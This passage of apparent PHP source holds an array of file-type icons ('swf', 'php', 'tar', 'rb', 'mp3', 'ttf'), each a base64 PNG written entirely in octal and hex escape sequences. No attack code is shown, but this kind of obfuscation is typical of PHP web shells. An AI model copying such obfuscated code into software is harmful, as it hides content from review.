"\151\126\x42\117\x52\x77\x30\113\x47\x67\x6f\101\101\x41\x41\116\123\x55\150\x45\125\147\101\101\x41\102\x41\x41\x41\101\x41\x51\103\101\x59\x41\101\101\101\x66\x38\x2f\71\150\101\101\101\x41\x42\110\x4e\x43\123\126\x51\x49\103\x41\147\111\146\x41\x68\x6b\x69\101\x41\101\101\x41\x6c\167\x53\106\154\x7a\101\101\101\x4e\x31\167\101\x41\x44\144\143\102\x51\x69\151\142\145\x41\x41\x41\101\x42\x6c\x30\122\x56\x68\x30\125\x32\71\155\144\x48\144\x68\x63\x6d\x55\x41\144\x33\x64\63\x4c\155\154\165\141\63\x4e\152\x59\x58\102\154\x4c\x6d\x39\x79\132\65\x76\x75\x50\102\x6f\x41\x41\101\x4a\x79\123\x55\122\102\x56\104\151\116\154\x5a\x4e\146\142\x74\116\x59\x47\115\x56\57\163\x61\x2f\x2f\x78\103\x35\x32\127\151\x64\x31\121\x6b\x75\124\125\165\147\111\x6c\106\121\x43\x78\x41\141\121\62\102\x48\163\147\154\x57\167\x42\154\x62\121\x6b\125\x43\x51\x47\x59\x30\x55\115\x6b\151\153\123\113\122\x51\x64\132\x71\x47\116\147\154\160\x47\x73\146\130\61\65\x65\x6e\150\157\x66\171\167\x48\x7a\120\65\x2f\x79\117\x7a\151\145\x64\121\x72\x76\x64\146\160\160\154\62\x59\163\70\x7a\x2f\146\64\110\62\143\x59\122\153\x63\x49\70\x61\x79\167\x76\67\x2f\146\x61\124\121\141\162\x54\151\117\115\x51\x7a\x6a\164\x38\170\x35\x6e\x6a\x4d\131\104\117\x6a\63\x2b\x2b\x39\106\x6d\161\141\x74\x4b\x49\x70\x49\x30\63\121\x70\x2b\x50\x52\x50\x6d\x38\x48\x5a\105\103\60\x63\x54\114\x75\x49\105\x42\x62\x6c\143\x70\x6e\164\x32\71\164\114\x54\x52\x52\x46\x39\x48\161\x39\x6c\x6c\102\113\157\132\x51\103\111\x45\x6b\127\x64\x46\x36\x2f\160\107\111\x35\x37\116\130\x2f\167\x4b\x72\105\x6d\106\64\112\60\63\x54\x34\144\152\141\x68\x2f\145\x34\166\155\x71\x30\x6d\x72\165\x74\167\x35\x54\117\171\x4c\x45\116\x72\152\144\141\141\120\x2f\71\x2b\x52\144\x7a\167\x69\x47\163\132\131\x74\160\110\x4a\x30\143\x55\71\x44\x65\x45\144\x55\107\164\107\x6e\104\166\63\150\x30\53\x64\x50\71\x64\x36\162\115\163\x51\60\147\160\x30\126\x72\124\x36\x58\63\153\x73\61\106\x45\x53\x6f\53\161\x48\x42\105\x73\x70\164\x44\x76\131\61\67\115\x43\x64\x64\x6a\x67\x75\111\x71\154\x69\151\171\127\x67\x72\160\x66\x7a\x36\153\x33\x74\150\103\123\x6f\x6c\121\x53\161\x47\61\x5a\156\x69\171\x59\114\117\64\167\x33\x51\62\131\x7a\141\130\x52\x41\165\114\x72\x66\157\x44\x43\163\x44\x52\60\126\144\161\x35\121\x54\x50\114\165\110\67\116\166\70\x64\x54\71\x42\61\152\x56\x49\113\143\x56\125\150\53\113\x35\x5a\x5a\x35\x57\x5a\104\x6a\x6d\144\x53\x65\x37\166\x33\x57\111\60\155\x69\x43\102\x6d\65\125\144\x7a\x72\53\70\x77\123\67\x48\107\x4e\x6b\x4b\70\x6e\114\66\x73\x38\x49\x56\x67\105\102\x6a\x78\x70\113\x4b\x37\127\112\67\126\x58\172\166\102\161\120\x52\102\x49\102\103\x77\123\125\x5a\152\x69\x6e\x6b\103\x69\116\63\143\145\142\107\x64\131\104\164\155\141\122\65\151\x6d\61\x62\150\x47\x36\x52\60\x65\103\131\x7a\143\x31\116\106\x6a\x4c\150\x37\x66\165\x33\x43\115\70\x6d\163\163\144\x59\x38\x78\172\x48\161\126\x30\x48\154\117\117\111\70\71\x4d\122\160\142\x55\x51\x7a\x79\70\x53\154\x41\x4c\117\150\53\145\143\156\154\x79\151\x64\x59\x32\x42\x61\x32\x4a\x79\x78\x6e\x72\150\x6b\116\x58\66\x6b\x2b\165\101\123\x6c\170\155\x4f\x72\x34\147\x55\167\162\x4c\164\x67\x47\x4e\x37\66\53\x77\x73\145\x62\103\x69\143\163\153\60\146\123\x53\102\x61\x62\132\x34\x6d\x37\x31\71\151\x39\x2b\101\x4e\x7a\141\63\165\x44\153\53\102\122\150\107\132\x69\x47\x59\104\106\x50\153\123\162\x44\x54\122\x54\155\x56\114\x46\123\x43\x6e\152\x30\x2b\x50\x46\123\166\167\122\x49\113\x52\106\103\131\x41\x71\x54\152\141\60\x61\64\67\x4d\x4a\64\x39\x47\121\x32\143\x55\x6c\x61\x5a\x72\151\103\112\x65\110\x75\61\x55\62\144\151\157\101\x79\x2f\121\x73\171\x78\102\103\x69\106\x36\156\x30\x39\x6c\164\116\x70\164\131\x6c\x67\x56\x41\165\x42\131\121\x72\147\x58\130\122\x6e\123\x56\114\113\x57\153\62\53\x30\x69\x68\117\147\112\63\57\145\x66\110\x78\x77\143\x76\x4f\x68\x32\x75\x33\x64\x2f\146\70\x7a\x67\117\x4d\65\102\107\x49\142\120\146\x77\101\121\x53\x6d\141\x73\163\x51\157\x47\121\101\x41\101\x41\x41\x42\x4a\122\125\65\x45\x72\x6b\112\147\147\147\x3d\75", "\x73\x77\146" => "\151\126\x42\117\122\167\60\x4b\x47\147\157\x41\101\101\101\x4e\123\x55\x68\105\x55\x67\101\x41\x41\x42\101\101\x41\101\101\121\x43\101\x59\x41\x41\101\x41\x66\70\57\x39\150\101\101\x41\x41\x42\x48\x4e\103\x53\126\x51\111\103\x41\147\111\146\x41\x68\153\151\x41\x41\101\101\x41\x6c\x77\x53\106\x6c\172\101\101\x41\116\61\x77\x41\x41\104\x64\143\102\x51\151\x69\142\145\x41\101\101\101\x42\x6c\60\122\126\x68\60\x55\x32\71\155\x64\x48\144\150\143\x6d\125\101\144\x33\x64\x33\114\155\x6c\165\x61\63\116\152\131\130\x42\154\114\x6d\x39\171\x5a\x35\x76\x75\x50\102\157\x41\x41\x41\x47\160\x53\125\122\x42\x56\x44\151\116\x6c\x5a\113\x2f\x61\61\x4e\x52\x46\x4d\x63\57\x37\57\x59\60\104\170\x70\114\164\101\x38\x62\156\x49\171\103\x67\x32\x44\70\x43\65\x53\x4b\x4b\112\x54\x2b\x41\x57\111\x6e\x4a\x79\60\x34\117\x4e\153\57\x51\x4b\x67\151\x55\150\101\110\x42\x57\146\x42\x53\x58\121\157\114\151\65\x69\143\115\163\151\162\70\110\x68\120\x64\x41\x67\x34\153\x74\x30\x4b\x72\141\x61\x33\x48\x76\146\166\x51\x37\x61\x32\x44\x59\x76\x71\x52\x34\64\x79\172\x6e\x66\x48\53\145\x63\145\x34\x4e\155\163\x33\156\x52\x57\x72\x76\161\156\104\166\x4e\146\x34\122\123\113\x68\141\x52\155\x30\107\152\x30\131\x68\162\164\126\x71\71\x57\161\62\x69\x6c\120\157\156\x73\x6e\x4f\x4f\x62\x72\144\114\x75\x39\61\x65\x46\66\x31\61\120\x59\x6f\x69\x74\116\x62\67\115\172\165\x66\131\146\131\111\161\x41\155\151\x4b\x43\112\x4a\153\162\162\x4b\70\x35\167\70\x7a\57\110\145\106\66\x62\x37\61\163\x48\x63\127\113\x52\x2f\x35\x69\x6a\x39\x43\x79\x66\170\x6d\71\57\x78\63\x72\120\x4e\105\62\163\x74\63\x76\x74\103\121\x2f\x2f\160\x41\x2f\60\162\103\x2f\151\166\62\x61\x41\155\110\157\111\57\x65\x47\163\164\171\x68\147\172\60\162\63\63\64\x44\x59\66\171\67\x44\x54\115\60\172\x63\x65\125\172\x34\112\x6f\105\x44\60\x34\x4f\x2b\115\121\x62\x5a\x48\x6e\57\x6f\125\x42\x39\x54\x66\x71\x34\71\x42\167\146\x6c\154\x59\146\111\53\x66\156\x66\125\x2b\63\101\x6a\x6c\x31\150\66\71\106\71\162\110\x45\x41\142\x46\170\144\112\x43\x69\106\172\x4c\172\x50\144\x6d\x47\x73\x74\x63\x55\103\162\160\x4f\x78\53\145\111\x5a\x35\110\x39\162\x51\143\64\x51\162\x6c\152\x41\145\172\x62\x75\162\127\102\67\x42\x6a\x6c\x32\x6e\115\x4f\166\63\150\113\125\x53\x6b\x50\x6a\106\x77\162\x30\107\161\57\x5a\x65\166\x71\105\x48\171\x2f\x58\101\x44\150\x30\x36\x79\65\115\124\x6f\x35\x38\160\x53\107\x42\114\65\x63\166\x44\x5a\x71\126\x70\x65\165\105\x5a\70\53\x4e\x4a\102\143\113\x2b\107\x69\127\x38\106\123\144\x67\71\145\x57\x6d\x4a\161\x62\107\x30\166\x65\112\127\x43\x4d\121\125\123\x6f\x76\x59\x74\63\156\107\x4a\57\x73\162\x55\127\x4a\123\x4a\x4a\x48\115\x64\x6f\162\x55\144\53\161\x4c\x32\160\x74\x53\x61\117\x59\x30\x51\153\153\x58\x4b\x35\x76\x4a\171\155\66\127\x71\162\x31\x54\157\170\61\156\x4a\120\x68\x47\107\131\x56\x69\161\126\65\126\71\142\x72\60\x6c\167\61\x4e\120\x2f\65\121\x41\101\x41\x41\x42\x4a\122\125\x35\x45\162\x6b\x4a\x67\x67\x67\x3d\75", "\x70\150\x70" => "\x69\126\x42\117\x52\167\x30\x4b\107\x67\157\x41\101\101\x41\x4e\123\x55\150\105\125\x67\x41\x41\x41\102\x41\101\101\101\x41\x51\103\x41\131\101\x41\101\101\x66\70\x2f\x39\x68\101\x41\101\101\x42\110\116\x43\x53\126\x51\x49\103\x41\x67\111\146\x41\150\153\151\x41\101\x41\101\x41\x6c\167\x53\x46\154\x7a\101\x41\101\116\x31\167\x41\101\x44\x64\143\102\x51\x69\x69\142\x65\101\101\101\101\x42\154\60\x52\x56\x68\60\125\62\x39\155\x64\110\x64\150\143\x6d\x55\x41\x64\63\x64\x33\114\155\x6c\x75\141\63\116\x6a\131\130\102\x6c\114\155\x39\x79\x5a\x35\x76\165\x50\102\x6f\101\101\x41\x4a\171\x53\x55\x52\x42\x56\104\x69\x4e\x6c\132\116\120\123\x46\x52\x52\106\x4d\x5a\x2f\166\x72\x6e\x44\117\111\x34\x6d\x2b\x6c\113\x7a\150\103\x79\x6f\106\161\x45\121\x70\x52\130\126\111\151\147\107\62\x67\121\165\157\x6f\127\x62\116\162\127\120\127\162\x53\x72\154\x6d\105\x74\x67\151\101\x69\111\122\102\x71\x34\67\150\111\147\x67\x61\112\131\113\142\157\x6a\66\130\115\x61\71\121\141\x51\64\141\x79\x62\x42\167\142\57\70\x77\x38\170\x37\156\x76\x76\x6e\x64\142\x44\103\x59\x53\x68\x52\x30\x34\151\70\120\110\x64\x7a\x6a\156\53\70\x36\x70\x47\x42\64\145\120\x71\155\125\x36\166\x45\70\x72\65\x33\57\103\x4d\115\167\x4c\103\110\105\160\131\x70\x59\x4c\x47\x61\x31\x74\x72\141\x32\116\124\x55\x31\131\122\152\107\150\x73\x69\x65\x35\65\110\x4a\x5a\105\151\x6e\60\x78\53\105\154\114\x4c\116\x4e\105\x32\153\x6c\120\70\172\101\113\132\160\x6b\153\161\154\x32\157\124\x72\165\x72\151\x75\53\170\x75\x59\x79\x64\x69\153\166\171\171\123\164\x30\166\131\x74\x69\122\x76\154\171\x68\112\x46\x38\x4e\x6e\x63\x47\x6a\57\126\x76\x62\165\142\147\x42\x67\154\x53\145\125\125\155\151\164\113\x64\147\x4f\x79\131\x6b\x35\x35\x6e\x4c\114\x54\x47\144\x74\146\115\114\110\162\x68\60\x6d\x33\x33\x4b\x7a\x35\x41\165\123\x30\157\162\x44\171\111\116\150\161\x71\x76\x38\130\x4c\x78\x77\155\115\x62\116\111\x5a\x52\x53\103\115\144\x78\163\x4a\143\144\105\165\116\132\x4d\110\167\105\141\64\x49\x45\x43\64\161\127\x35\x68\160\117\x6e\71\172\104\x36\116\x67\115\70\x62\144\x66\127\123\x71\125\x4f\x48\160\167\x42\66\125\126\123\x56\57\x2f\103\x4f\146\117\67\163\144\x78\x48\111\x68\105\x49\162\160\57\x4d\113\x45\146\104\x33\63\x53\147\101\x5a\x30\x4f\x42\x7a\x57\x72\x30\145\156\57\61\156\x66\66\x58\x32\x75\111\65\x47\111\x4e\x70\x52\x53\124\110\71\146\x6f\162\x6a\151\x41\104\103\x62\57\x55\x6b\x30\x47\x71\x56\154\x79\171\x59\101\146\155\124\x6d\61\71\x57\x72\145\104\x41\157\125\x45\x70\150\113\x4b\x58\x49\114\122\x5a\170\120\121\61\x41\131\64\x4e\112\x4f\x42\x77\155\x2f\x57\60\x42\101\x4d\x63\162\127\x36\164\132\152\x33\x2b\x65\53\154\110\x57\121\103\x6b\106\x61\x42\171\160\x41\110\x67\x39\117\163\x31\x51\146\x49\162\x2b\112\x2b\120\60\x44\123\123\x34\x39\x33\103\x45\166\157\x45\105\67\x36\171\x5a\x33\57\x68\147\x4e\x4d\106\x79\x66\x68\66\x6c\x58\x43\x70\x36\145\x33\x76\x31\x34\x53\115\156\x75\x48\x33\x2f\114\x5a\60\x48\144\x76\112\x2b\146\112\132\x38\157\x66\x53\x48\x37\172\x58\126\x41\124\x72\141\155\x34\x6d\x2f\x2b\x6b\x6a\62\x2b\x78\144\165\x58\x44\x33\x44\x79\170\146\120\171\150\116\x73\x72\147\x39\171\166\x6e\x73\146\x4e\53\x2f\107\x73\132\144\x4c\53\103\165\x72\115\111\121\146\x77\53\x63\x48\x4e\x4b\x34\152\x4b\123\172\115\x38\127\x68\163\154\x46\101\157\167\120\x55\162\x58\x64\x54\130\126\141\62\164\157\x4c\126\x6d\127\x33\x4d\116\x74\x36\66\x64\111\166\x59\155\x7a\144\x4e\156\x45\x2b\122\x79\127\131\x72\106\101\x70\67\156\x55\126\x6b\132\157\114\x36\165\x6d\165\x36\x75\x34\170\172\x70\x32\106\x6e\x57\x52\117\165\x31\x42\157\x37\x6a\111\111\x51\101\x34\106\152\x6e\144\x6f\65\61\x62\x76\x2f\x72\x43\x57\164\x64\106\x6c\x4d\x70\126\x58\x5a\102\103\112\x47\x79\114\101\163\160\112\x56\x72\x72\104\141\x57\x55\x45\x73\x75\171\105\105\x4b\153\x52\103\x67\125\165\x6a\x77\65\117\144\x6d\x54\x54\x43\132\63\142\145\x79\116\171\150\105\111\x42\x43\132\x72\141\x32\163\166\x2f\167\x49\144\116\x58\167\x51\x65\x4f\113\x79\x43\x41\101\101\x41\x41\102\112\122\125\x35\105\x72\x6b\x4a\147\x67\x67\75\75", "\164\141\162" => "\x69\x56\x42\117\x52\167\60\x4b\107\147\157\101\x41\x41\101\x4e\123\x55\x68\x45\x55\x67\101\101\101\x42\x41\x41\x41\101\x41\121\103\101\x59\x41\101\101\x41\146\x38\x2f\71\150\101\101\101\x41\x42\x48\x4e\x43\123\x56\121\111\x43\x41\x67\111\x66\101\150\x6b\x69\x41\x41\x41\x41\x41\x6c\x77\x53\x46\154\x7a\x41\101\101\x4e\61\x77\x41\x41\x44\x64\x63\x42\121\x69\x69\142\x65\101\101\101\101\x42\x6c\x30\122\x56\x68\60\125\x32\71\x6d\x64\x48\144\x68\143\x6d\x55\x41\144\63\144\x33\114\155\154\165\x61\x33\x4e\x6a\131\x58\x42\154\114\155\x39\x79\132\65\166\165\x50\102\x6f\101\101\x41\110\x71\123\125\122\x42\126\x44\x69\116\154\132\x45\57\141\61\116\122\107\111\145\x66\x65\x33\x4b\x53\121\161\157\x30\x43\142\x62\107\x69\x6d\147\171\170\104\70\154\160\x51\162\x39\102\x72\x70\x6d\103\111\151\x67\x72\x6b\64\123\143\x46\102\x77\x37\x43\150\x6f\170\63\171\102\64\x69\112\111\x68\x38\x51\166\64\x61\x52\105\x4c\x55\x55\x6c\x53\131\143\155\66\x51\x30\60\124\146\x48\155\156\156\120\165\x79\131\x31\104\x4a\x45\117\124\123\166\166\103\x34\131\x55\x44\x76\53\146\63\167\117\x74\x73\166\x66\152\64\x77\116\162\x52\117\65\x78\x77\x6c\122\x6b\152\160\115\x4f\x72\71\x38\x38\160\x46\x6f\x73\x41\142\x47\x39\166\70\57\132\160\155\x54\x42\167\x61\154\111\x36\114\66\x58\x6e\53\x5a\x76\x70\x4b\x35\x66\x7a\61\x37\x50\130\151\x45\x67\65\x44\x59\x67\x4a\x6f\x68\53\151\154\x45\157\154\101\x4b\162\126\x4b\156\x66\130\x31\x36\152\166\x4e\x6c\143\x37\67\x59\116\116\x4f\x66\x44\x39\146\103\113\x65\x34\x6d\x44\63\x69\x46\105\64\155\147\x4a\105\x34\62\x4e\157\x4d\160\155\x63\57\x48\x56\x2f\71\60\x6e\x45\x55\71\124\71\132\x6c\x34\x61\x70\124\x6e\x75\x65\104\120\x44\101\105\x35\x30\x76\115\x76\154\115\x72\126\141\104\131\x42\x41\x42\63\x69\x48\x41\125\132\160\150\x46\111\113\65\127\x6d\60\x62\62\141\x2b\x49\x4c\x41\x41\123\x43\x6e\x5a\62\116\x67\x59\101\x77\113\114\70\152\122\113\113\x61\122\127\103\161\x50\60\x7a\110\x61\x41\x57\102\x41\x42\157\106\101\157\x55\113\154\125\x41\x42\147\x47\x34\x33\x61\x74\106\x45\114\162\x32\143\x30\x6e\104\x53\161\126\103\157\126\103\x59\127\113\147\x66\x59\120\127\102\x71\155\61\167\x53\150\x7a\x71\x6f\107\x31\x64\x73\162\101\x57\157\x74\x52\57\x77\x43\150\107\x4b\114\x2f\x41\x31\x41\x44\124\x57\x35\x78\132\144\113\x65\x57\61\170\x42\x44\124\122\x61\107\125\111\x78\x52\111\131\122\x43\x78\110\x51\146\x32\132\104\145\166\x74\x39\110\164\x39\x2b\122\166\x54\145\x2b\x4a\171\x42\142\53\x6e\x74\x39\x78\106\x53\x45\x45\131\x73\x73\152\x74\x77\63\x66\x57\142\x63\60\166\114\x79\141\x56\x54\x4c\125\x37\x4f\167\x74\x57\114\x48\x50\x66\x36\144\114\x2b\64\x72\155\171\154\155\x2f\172\64\x75\x56\x4d\63\x52\172\x5a\x37\132\x67\x49\x51\123\x38\150\66\x4b\71\62\x38\111\106\x33\x72\163\146\x66\x77\x57\172\x61\x31\153\104\x70\x50\x6e\x6e\142\x2f\115\117\x74\53\70\x6c\x77\160\x76\116\x7a\x6f\x2b\x39\144\62\x77\170\x74\71\172\160\x77\x48\115\117\x39\x6b\x47\x38\114\x4c\170\141\x55\171\x4d\x62\x58\x63\x76\65\53\65\x6c\142\155\x44\105\x4a\105\172\150\x63\116\x77\x53\x4b\x65\x78\153\x32\155\132\x58\63\166\x4f\x70\142\x55\x6e\152\x30\142\x47\x65\x78\x4f\107\x2b\163\x5a\x35\104\x49\123\x59\x61\172\x71\x78\53\x64\x64\x2f\101\x65\101\x70\107\171\104\x78\114\x37\124\x5a\101\x41\101\101\x41\x45\x6c\106\124\153\x53\x75\x51\155\103\x43", "\x72\x62" => "\x69\126\102\117\x52\x77\x30\x4b\107\x67\157\x41\101\x41\x41\x4e\x53\x55\x68\x45\x55\147\101\x41\101\102\x41\101\x41\x41\101\121\x43\101\x59\x41\101\101\x41\146\70\x2f\71\x68\101\x41\x41\x41\x42\x48\116\103\123\x56\121\x49\x43\x41\147\111\x66\x41\150\153\x69\101\101\x41\101\x41\154\167\x53\x46\x6c\172\x41\101\x41\x4e\x31\x77\101\x41\x44\x64\x63\102\121\x69\x69\x62\145\x41\101\101\x41\102\154\60\x52\x56\150\60\x55\x32\71\x6d\x64\x48\x64\x68\143\155\x55\101\144\x33\144\63\x4c\x6d\x6c\165\141\x33\x4e\x6a\131\130\x42\154\x4c\x6d\71\171\x5a\x35\166\x75\120\102\157\x41\101\101\x4b\x4b\x53\125\x52\102\x56\104\151\116\x6c\132\116\x4c\141\x35\x4e\142\106\x49\x61\x66\x76\x62\116\x7a\x30\x59\124\x47\x6b\116\160\x59\x4c\x42\x6f\166\x72\x61\x44\x57\x69\123\x41\x71\x67\161\112\x34\117\102\167\156\x67\156\103\155\x49\x6c\x52\167\x35\113\126\x59\113\x4b\x49\x44\105\x55\x57\167\66\153\104\x78\102\167\x68\117\x48\x51\151\x43\x4f\x46\104\x49\122\104\121\x49\x78\x78\x6a\x55\x4a\147\x56\142\104\x6f\62\155\61\127\160\163\114\x73\62\63\166\57\60\164\x42\x39\x56\103\66\x61\x53\x75\x38\x66\163\x38\x72\x48\146\x42\125\x76\154\x38\57\x72\104\166\x2b\171\x4e\102\105\117\x7a\x67\x44\x30\132\x72\130\x54\104\107\156\106\x65\x35\130\113\66\121\x7a\x57\x62\x37\115\x35\x6b\x4d\127\165\x74\x6c\167\125\105\121\x55\x4b\x31\127\x47\122\70\x66\146\62\x73\x38\x7a\x2b\x74\120\x70\x39\116\x34\156\x72\x63\157\160\105\123\157\x50\130\x79\101\x65\57\165\x61\152\x67\x4e\x2f\x4d\130\x62\166\114\160\57\107\171\156\x78\x75\127\x58\x5a\x65\x75\x38\x47\x57\x59\x2f\71\123\113\160\130\66\152\130\115\117\65\x39\167\x69\x32\x4b\x2f\x38\x7a\x37\x73\x7a\101\67\x54\57\x65\x38\156\113\x6b\107\x62\x75\x51\65\110\x55\151\x64\117\70\x48\172\x79\x4e\x33\62\x7a\170\x34\166\131\111\155\64\70\145\x77\172\155\x48\x38\130\60\x66\x45\126\155\101\x5a\65\x34\71\64\x63\x33\132\101\x57\x6a\x55\x43\x51\153\x67\101\132\x30\x62\x2b\160\147\x64\x47\127\x62\x6a\x2b\147\x79\152\144\x61\106\x68\104\x43\113\x43\x37\x2f\x74\x6f\141\171\x30\x69\x67\157\150\x67\x71\170\130\x79\65\167\132\157\x4e\53\x76\64\147\106\x4e\x67\105\60\154\x57\x48\x6a\x78\103\132\x61\x4c\x4b\154\x39\x45\x53\x48\x62\x55\160\x56\153\122\152\70\x33\x6c\162\115\x63\x36\x35\53\121\x31\x45\171\x4a\60\67\122\141\164\x52\112\x77\171\x67\101\111\107\164\61\53\71\121\145\166\x4b\131\x72\x31\132\157\127\x38\x65\x73\126\171\116\x6b\x78\x78\105\122\156\x48\x50\x6f\x33\x78\126\155\x6e\152\x2f\x6c\121\x79\x37\110\x72\101\x38\127\x63\105\104\62\x2b\x45\x6c\x55\x2f\x68\110\170\157\105\110\104\x2b\156\147\157\x41\x71\63\x70\130\x72\x74\x2b\157\x63\x4c\103\104\x52\x49\141\164\x6e\123\x6d\107\120\63\171\152\144\152\161\x4c\x76\x5a\x65\165\115\x7a\156\x47\71\143\157\146\x2f\x2b\117\x70\116\x4a\64\123\x74\x4e\x57\111\x53\x49\131\131\x75\x6e\x30\x55\x6b\x45\x30\x6c\x57\x54\63\x78\123\166\60\x54\153\x2b\124\63\114\155\142\x2f\116\x42\x5a\x54\x47\x73\117\x61\x54\141\x52\132\160\116\167\71\x31\160\x55\x41\107\65\x71\153\x6c\x52\63\132\x71\156\x67\172\143\x31\x62\x62\116\x71\x7a\x6a\x66\124\x30\x42\x4a\120\x33\x69\x38\171\117\x6c\142\101\x4b\166\102\x56\x78\x59\160\62\x64\x68\114\171\x41\65\163\x77\156\x6c\106\141\x73\x79\161\x78\x65\113\x71\x67\125\151\x38\x78\x4e\x56\126\x6e\156\172\61\104\x56\x61\x37\101\x49\147\163\x4b\x31\127\x76\x79\131\162\x4c\102\x4f\x51\157\152\x52\61\x4c\x42\x45\x4f\170\112\x4c\x42\123\161\122\157\120\x4a\170\x41\x68\111\144\61\114\66\53\112\60\x42\157\157\64\155\112\131\161\x4f\x4a\x6b\111\151\107\66\x59\x75\x46\x65\x54\146\130\x6f\103\61\x75\x73\x63\x42\141\x53\53\57\x67\115\x4b\53\165\x58\x71\114\x52\x6b\x30\125\162\122\x61\x51\145\x4a\150\167\112\131\66\111\122\x66\x71\122\127\x6f\142\165\x36\x69\120\124\60\x73\x47\164\x7a\114\x36\106\x39\53\67\x48\127\172\147\165\x4d\115\x61\x56\103\157\144\x43\63\57\144\102\150\152\x76\67\x39\x7a\x37\113\145\x79\126\x70\114\x6f\126\104\x41\107\x46\115\171\x38\130\150\70\161\106\x77\165\x6a\x78\x53\114\x78\144\x35\x6c\60\142\70\x6d\x47\157\62\127\x6b\x38\156\153\x30\x45\70\x49\x2f\x33\x36\x66\x45\71\x56\103\57\x77\101\101\101\101\x42\112\x52\125\65\105\x72\x6b\x4a\147\x67\x67\75\75", "\155\x70\63" => "\151\126\102\117\122\x77\60\x4b\107\147\x6f\101\x41\x41\x41\x4e\123\125\x68\x45\x55\x67\x41\x41\x41\x42\x41\101\x41\x41\x41\121\103\x41\x59\101\101\101\x41\146\x38\57\x39\x68\101\x41\x41\x41\102\x48\116\x43\x53\126\121\111\x43\x41\147\x49\146\101\150\153\x69\101\101\x41\101\101\154\167\x53\x46\x6c\172\101\101\x41\x4e\61\167\101\x41\x44\144\143\102\121\151\x69\142\x65\x41\101\101\x41\x42\x6c\x30\122\x56\150\x30\x55\62\71\x6d\x64\110\x64\x68\x63\x6d\125\x41\x64\x33\144\x33\x4c\x6d\x6c\165\x61\x33\x4e\152\x59\130\102\x6c\x4c\x6d\71\x79\x5a\x35\166\165\x50\x42\157\101\x41\x41\107\156\x53\x55\122\102\126\104\151\x4e\160\132\102\120\141\x78\x4e\x52\106\115\130\x50\152\106\x63\x53\107\x74\162\x51\104\151\x59\x4e\x55\147\x78\113\x4e\x30\114\x71\x5a\62\150\x41\x70\x41\x73\57\121\x6c\x31\132\116\x33\x56\x70\66\113\142\x67\170\160\x33\144\x75\x50\101\x62\x46\x4c\157\x72\x30\155\61\x33\x32\x58\x51\122\113\x76\x55\x5a\x55\107\x65\147\102\161\62\x45\131\x42\x55\x37\x38\167\x49\172\x37\x38\71\x63\x46\171\x58\x53\117\x74\120\121\60\147\115\120\x48\160\x64\x7a\x66\x2f\146\x63\x36\x33\x51\x36\x6e\x59\146\x47\155\x49\60\60\124\122\144\x77\102\142\155\165\x4b\x34\152\x6f\x68\x64\x4e\x75\164\x30\x57\71\130\155\x39\x55\161\61\127\64\x72\x6e\x75\160\x35\x6a\122\x4e\115\x52\x67\x4d\x30\117\166\61\x50\x70\112\123\x71\165\x46\x35\x48\x70\122\123\x56\167\x6b\x41\172\x2f\120\147\x2b\63\x36\x44\x72\x4c\x57\167\61\155\x59\115\x59\143\111\64\117\x72\x48\64\53\x6c\115\x68\x36\x4d\146\x34\71\107\60\x49\143\x52\x68\150\x37\71\x56\x39\x41\115\x43\x6f\152\64\x77\170\x59\x4f\131\115\64\116\156\x32\110\70\147\x77\121\122\124\x47\153\x47\x45\103\x47\x5a\x33\53\172\x33\x71\116\x4d\123\103\164\x64\123\65\x41\x68\147\156\x71\x6b\x34\x7a\x62\164\x53\114\155\x70\x6b\165\64\x64\x36\x75\x41\122\53\x73\x66\172\x6e\x6d\x31\61\x69\102\162\x62\x53\64\147\103\x6d\117\70\x65\124\x71\x58\161\x5a\x2f\61\152\x6c\x31\102\150\x6b\x6c\165\120\x62\120\103\x68\131\x44\157\155\157\104\x52\x77\121\64\117\x68\63\x69\x2b\x2b\x51\120\x66\124\167\172\x67\x4f\x75\115\102\x6e\57\x73\x4a\x31\164\64\x64\x77\x2b\57\110\153\x46\x4b\x42\x6d\x64\110\141\117\x73\111\130\132\x77\x4b\x59\143\126\104\x4e\101\x62\x67\x6a\x41\x44\120\x6a\x35\x63\x34\170\63\147\x39\x76\64\106\145\x78\x69\105\x70\164\x45\x73\171\115\170\167\53\x6d\x4d\102\x56\x4b\63\111\x6b\154\x33\152\x36\x70\57\146\x4d\x79\143\172\142\x42\64\164\x32\142\62\x4e\x2f\x39\152\144\155\151\147\71\x66\114\163\x32\x42\x6d\162\x43\65\126\x73\x4c\x70\x55\107\x58\70\104\x72\124\x57\x49\103\x43\x74\x4e\104\171\x74\x4e\114\71\x66\x38\x76\x34\167\x78\x70\x79\x73\x51\153\x53\x2b\x45\147\106\x4c\161\x58\114\x78\170\x54\x79\153\x46\111\x51\123\111\171\113\144\123\x71\x64\x51\x4b\x67\x6d\103\x6a\x32\x2b\63\117\x58\172\x67\x75\122\64\x56\103\111\x53\x69\130\171\66\62\57\x44\163\x46\120\x38\65\x41\143\x48\x42\143\101\101\x41\x41\101\123\125\x56\117\122\x4b\x35\x43\x59\111\111\x3d", "\x74\164\x66" => "\151\x56\x42\117\x52\x77\60\x4b\x47\x67\157\x41\x41\x41\101\x4e\x53\125\x68\105\125\147\x41\x41\101\x42\x41\x41\101\x41\101\121\x43\101\131\x41\x41\101\101\146\70\x2f\71\150\101\101\x41\101\x42\x48\116\103\x53\126\121\x49\x43\101\x67\111\x66\x41\150\153\151\101\x41\x41\x41\101\x6c\x77\123\x46\x6c\172\101\101\x41\x4e\61\167\101\x41\104\144\x63\102\121\x69\151\x62\145\x41\x41\x41\x41\x42\154\x30\x52\126\150\x30\125\62\71\x6d\x64\x48\144\x68\x63\x6d\125\x41\x64\x33\144\x33\114\x6d\x6c\x75\141\x33\116\x6a\x59\130\102\154\x4c\x6d\x39\171\x5a\65\x76\165\x50\102\x6f\x41\101\101\111\110\x53\125\x52\x42\x56\x44\x69\116\x6c\132\x4a\x42\141\x42\116\102\x46\x49\x62\57\x6e\145\x77\155\x78\122\122\x54\x33\x45\x71\x71\157\x62\150\122\104\x43\x69\112\102\x2b\166\102\x55\170\110\x42\x67\x78\x61\166\145\x76\x4c\147\x77\x62\165\103\x42\143\x47\145\x78\125\x4e\120\154\x5a\x35\105\160\x43\101\111\x68\x58\151\x56\151\x69\x4a\105\x62\121\x49\x70\164\164\122\106\171\141\x35\x6d\153\171\132\105\60\151\123\x56\157\x6d\x33\144\156\x54\145\x37\x48\x6c\x49\104\127\x7a\x64\x51\x66\65\152\114\53\71\x2f\x2f\104\127\x2f\155\123\x63\x56\x69\70\122\x49\122\124\142\165\x75\x65\x77\x62\57\111\143\142\x59\x71\x69\172\x4c\144\x36\126\x63\114\162\x65\161\141\x56\x6f\155\110\x6f\53\104\x4d\142\141\x76\x73\